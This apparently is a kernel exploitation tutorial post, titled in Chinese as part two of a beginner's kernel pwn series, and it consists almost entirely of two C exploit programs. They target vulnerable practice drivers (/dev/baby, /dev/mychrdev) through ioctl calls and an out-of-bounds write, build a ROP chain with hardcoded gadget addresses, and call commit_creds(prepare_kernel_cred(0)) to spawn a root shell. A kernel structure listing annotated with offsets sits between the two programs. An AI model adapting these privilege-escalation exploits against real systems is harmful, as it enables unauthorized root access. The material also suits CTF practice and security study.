kernel pwn入门之路（二）

//gcc -o exp exp.c -static

#include <stdio.h>

#include <pthread.h>

#include <unistd.h>

#include <stdlib.h>

#include <sys/ioctl.h>

#include <sys/types.h>

#include <sys/stat.h>

#include <fcntl.h>


#define KERNCALL __attribute__((regparm(3)))


void* (*prepare_kernel_cred)(void*) KERNCALL = (void*) 0xffffffff810b9d80; // TODO:change it
void (*commit_creds)(void*) KERNCALL = (void*) 0xffffffff810b99d0; // TODO:change it

unsigned long user_cs, user_ss, user_rflags, user_sp;

void save_stat() {
    asm(
        "movq %%cs, %0;"
        "movq %%ss, %1;"
        "movq %%rsp, %2;"
        "pushfq;"
        "popq %3;"
        : "=r" (user_cs), "=r" (user_ss), "=r" (user_sp), "=r" (user_rflags) : : "memory");
}

void shell()
{
	system("/bin/sh");
	exit(0);
}

int get()
{
	commit_creds(prepare_kernel_cred(0));
	asm(
		"pushq   %0;"
		"pushq   %1;"
		"pushq   %2;"
		"pushq   %3;"
		"pushq   $shell;"
		"pushq   $0;"
		"swapgs;"
		"popq    %%rbp;"
		"iretq;"
		::"m"(user_ss), "m"(user_sp), "m"(user_rflags), "m"(user_cs)
	);
}


int main()
{
	save_stat();
	printf("[+]open drive\n");
	int fd = open("/dev/baby",0);
	if (fd < 0) {
		printf("[-] bad open device\n");
		exit(-1);
	}

	void *buf[0x100];
	printf("&buf : %x\n", &buf);
	for(int i = 0; i<0x12; i++){
		buf[i] = &get;
		printf("[+]buf[%d] = %x\n", i, buf[i]);
	}

	printf("[+]call ioctl\n");
	ioctl(fd, 0x6001, buf);

	return 0;
}

struct file {
     union {
         struct llist_node    fu_llist;
         struct rcu_head     fu_rcuhead;
     } f_u;
     struct path        f_path;
     struct inode        * f_inode;    / * cached value * /
     const struct file_operations    * f_op;
 
     / *
      * Protects f_ep_links, f_flags.
      * Must not be taken from IRQ context.
      * /
     spinlock_t        f_lock;
     enum rw_hint        f_write_hint;
     atomic_long_t        f_count;
     unsigned int         f_flags;
     fmode_t            f_mode;
     struct mutex        f_pos_lock;
     loff_t            f_pos;                      //偏移 0x68
     struct fown_struct    f_owner;
     const struct cred    * f_cred;                //这里指向当前进程的cred结构体，偏移 0x90
     struct file_ra_state    f_ra;
 
     u64            f_version;
#ifdef CONFIG_SECURITY

     void            * f_security;
#endif

     / * needed for tty driver, and maybe others * /
     void            * private_data;
 
#ifdef CONFIG_EPOLL

     / * Used by fs / eventpoll.c to link all the hooks to this file * /
     struct list_head    f_ep_links;
     struct list_head    f_tfile_llink;
#endif /* #ifdef CONFIG_EPOLL */

     struct address_space    * f_mapping;
     errseq_t        f_wb_err;
     errseq_t        f_sb_err; / * for syncfs * /
} __randomize_layout
   __attribute__((aligned( 4 )));    / * lest something weird decides that 2 is OK * /

#include <stdio.h>

#include <stdlib.h>

#include <fcntl.h>

#include <string.h>

#include <unistd.h>

#include <pthread.h>


#include <sys/wait.h>

#include <sys/stat.h>

#include <sys/types.h>


#define pop_rdi_ret 0xFFFFFFFF813EAD2C

#define swapgs_popfq_ret 0xFFFFFFFF81C00EAE // swapgs; popfq; pop rbp; ret;

#define iretq 0xFFFFFFFF81025A56	// iretq; pop rbp; ret;

#define xchg_rax_rdi 0xFFFFFFFF81768EF2

#define vmlinux_base 0xFFFFFFFF81000000

#define dev_text_base 0xFFFFFFFFC0000000




#define KERNCALL __attribute__((regparm(3)))


void* (*prepare_kernel_cred)(void*) KERNCALL = (void*) 0xffffffff8108d690; // TODO:change it
void (*commit_creds)(void*) KERNCALL = (void*) 0xffffffff8108d340; // TODO:change it

unsigned long user_cs, user_ss, user_rflags, user_sp;

void save_stat() {
    asm(
        "movq %%cs, %0;"
        "movq %%ss, %1;"
        "movq %%rsp, %2;"
        "pushfq;"
        "popq %3;"
        : "=r" (user_cs), "=r" (user_ss), "=r" (user_sp), "=r" (user_rflags) : : "memory");
}

void shell()
{
	system("/bin/sh");
	exit(0);
}

size_t data[0x10000];
size_t mydata;
size_t stack;

int main()
{
	save_stat();
	signal(SIGSEGV, shell);
	signal(SIGTRAP, shell);

	int fd = open("/dev/mychrdev",O_WRONLY);
	ioctl(fd,0x1111,data);
	mydata = data[4];
	stack = (data[2] | 0xFFFFC90000000000) - 0x10;
	printf("[+] mydata at: %p\n",mydata);
	printf("[+] Stack at: %p\n",stack);

	write(fd,data,0xF000);
	lseek64(fd,0x100,0);

	write(fd,data,0x10000);
	lseek64(fd,0x10001,0);

	data[0] = stack - mydata;
	data[1] = stack - mydata + 0x10000;
	write(fd,(char*)data+1,0x10000);

	size_t off = stack&0xFF;
	lseek64(fd,off,0);

	int i = 0;
	data[i++] = pop_rdi_ret;
	data[i++] = 0;
	data[i++] = prepare_kernel_cred;
	data[i++] = xchg_rax_rdi;
	data[i++] = commit_creds;
	data[i++] = swapgs_popfq_ret;	// swapgs; popfq; ret
	data[i++] = user_rflags;	// rflags
	data[i++] = iretq;		// iretq;
	data[i++] = (size_t)shell;

	data[i++] = user_cs;		// cs
	data[i++] = user_rflags;	// rflags
	data[i++] = user_sp;		// rsp
	data[i++] = user_ss;		// ss
	write(fd,data,0x100);
	return 0;
}